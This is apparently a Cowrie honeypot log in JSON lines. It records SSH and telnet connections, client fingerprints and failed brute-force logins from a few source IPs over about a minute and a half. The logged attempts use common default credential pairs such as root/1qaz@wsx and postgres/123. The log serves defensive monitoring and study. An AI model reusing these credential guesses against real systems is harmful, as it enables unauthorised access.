{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:50.336079Z","src_ip":"172.237.20.62","session":"9dd43a8e0964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:50.499573Z","src_ip":"172.237.20.62","session":"9dd43a8e0964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:51.222972Z","src_ip":"172.237.20.62","session":"9dd43a8e0964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:52.388519Z","src_ip":"172.237.20.62","session":"9dd43a8e0964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.908074617385864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:59.267498Z","src_ip":"45.58.127.90","session":"89964fb99b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55610,"dst_ip":"159.203.135.109","dst_port":22,"session":"aef843d341e9","protocol":"ssh","message":"New connection: 172.237.20.62:55610 (159.203.135.109:22) [session: aef843d341e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:01.587460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:01.591867Z","src_ip":"172.237.20.62","session":"aef843d341e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:01.751891Z","src_ip":"172.237.20.62","session":"aef843d341e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:02.273901Z","src_ip":"172.237.20.62","session":"aef843d341e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:03.441771Z","src_ip":"172.237.20.62","session":"aef843d341e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59260,"dst_ip":"10.17.0.5","dst_port":23,"session":"5321c9d35cd3","protocol":"telnet","message":"New connection: 45.58.127.90:59260 (10.17.0.5:23) [session: 5321c9d35cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:03.810397Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60734,"dst_ip":"10.17.0.5","dst_port":23,"session":"768d58ae38da","protocol":"telnet","message":"New connection: 45.58.127.90:60734 (10.17.0.5:23) [session: 768d58ae38da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:09.943920Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"9723d12b29ee","protocol":"telnet","message":"New connection: 45.58.127.90:60746 (10.17.0.5:23) [session: 9723d12b29ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:09.974935Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56970,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bc3b782cd54","protocol":"ssh","message":"New connection: 172.237.20.62:56970 (159.203.135.109:22) [session: 7bc3b782cd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:12.417460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:12.422638Z","src_ip":"172.237.20.62","session":"7bc3b782cd54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:12.588450Z","src_ip":"172.237.20.62","session":"7bc3b782cd54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:13.078850Z","src_ip":"172.237.20.62","session":"7bc3b782cd54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"c30d3d096f13","protocol":"telnet","message":"New connection: 45.58.127.90:60752 (10.17.0.5:23) [session: c30d3d096f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:13.589363Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:14.245580Z","src_ip":"172.237.20.62","session":"7bc3b782cd54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44830,"dst_ip":"159.203.135.109","dst_port":22,"session":"8591bfd2137f","protocol":"ssh","message":"New connection: 172.237.20.62:44830 (159.203.135.109:22) [session: 8591bfd2137f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:23.536337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:23.540632Z","src_ip":"172.237.20.62","session":"8591bfd2137f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:23.699902Z","src_ip":"172.237.20.62","session":"8591bfd2137f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:24.232456Z","src_ip":"172.237.20.62","session":"8591bfd2137f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.197.244.103","src_port":19704,"dst_ip":"10.17.0.5","dst_port":23,"session":"124e2a02c18e","protocol":"telnet","message":"New connection: 168.197.244.103:19704 (10.17.0.5:23) [session: 124e2a02c18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:24.764180Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:25.393946Z","src_ip":"172.237.20.62","session":"8591bfd2137f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34720,"dst_ip":"159.203.135.109","dst_port":22,"session":"30455eda5a29","protocol":"ssh","message":"New connection: 172.237.20.62:34720 (159.203.135.109:22) [session: 30455eda5a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:34.754699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:34.760939Z","src_ip":"172.237.20.62","session":"30455eda5a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:34.925114Z","src_ip":"172.237.20.62","session":"30455eda5a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:35.446952Z","src_ip":"172.237.20.62","session":"30455eda5a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:36.612576Z","src_ip":"172.237.20.62","session":"30455eda5a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.020725011825562,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:37.784753Z","src_ip":"168.197.244.103","session":"124e2a02c18e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52748966217041,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:43.337755Z","src_ip":"45.58.127.90","session":"5321c9d35cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56886,"dst_ip":"159.203.135.109","dst_port":22,"session":"a475a71e7cd5","protocol":"ssh","message":"New connection: 172.237.20.62:56886 (159.203.135.109:22) [session: a475a71e7cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:45.793550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:45.798316Z","src_ip":"172.237.20.62","session":"a475a71e7cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:45.959930Z","src_ip":"172.237.20.62","session":"a475a71e7cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:46.446753Z","src_ip":"172.237.20.62","session":"a475a71e7cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:47.611654Z","src_ip":"172.237.20.62","session":"a475a71e7cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.10182189941406,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:48.045611Z","src_ip":"45.58.127.90","session":"768d58ae38da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.21777415275574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:48.807029Z","src_ip":"45.58.127.90","session":"c30d3d096f13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.58638525009155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:53.561191Z","src_ip":"45.58.127.90","session":"9723d12b29ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49254,"dst_ip":"10.17.0.5","dst_port":23,"session":"141df0c00fe5","protocol":"telnet","message":"New connection: 45.58.127.90:49254 (10.17.0.5:23) [session: 141df0c00fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:55.893007Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54034,"dst_ip":"159.203.135.109","dst_port":22,"session":"e99027c1b86f","protocol":"ssh","message":"New connection: 172.237.20.62:54034 (159.203.135.109:22) [session: e99027c1b86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:56.889531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:56.895635Z","src_ip":"172.237.20.62","session":"e99027c1b86f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:57.055439Z","src_ip":"172.237.20.62","session":"e99027c1b86f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:57.696509Z","src_ip":"172.237.20.62","session":"e99027c1b86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49264,"dst_ip":"10.17.0.5","dst_port":23,"session":"12e664864d46","protocol":"telnet","message":"New connection: 45.58.127.90:49264 (10.17.0.5:23) [session: 12e664864d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:58.004781Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:32:58.861434Z","src_ip":"172.237.20.62","session":"e99027c1b86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60248,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85d170a75cf","protocol":"telnet","message":"New connection: 45.58.127.90:60248 (10.17.0.5:23) [session: e85d170a75cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:06.391782Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36760,"dst_ip":"159.203.135.109","dst_port":22,"session":"82e4e4d83e12","protocol":"ssh","message":"New connection: 172.237.20.62:36760 (159.203.135.109:22) [session: 82e4e4d83e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:33:07.843599Z"}
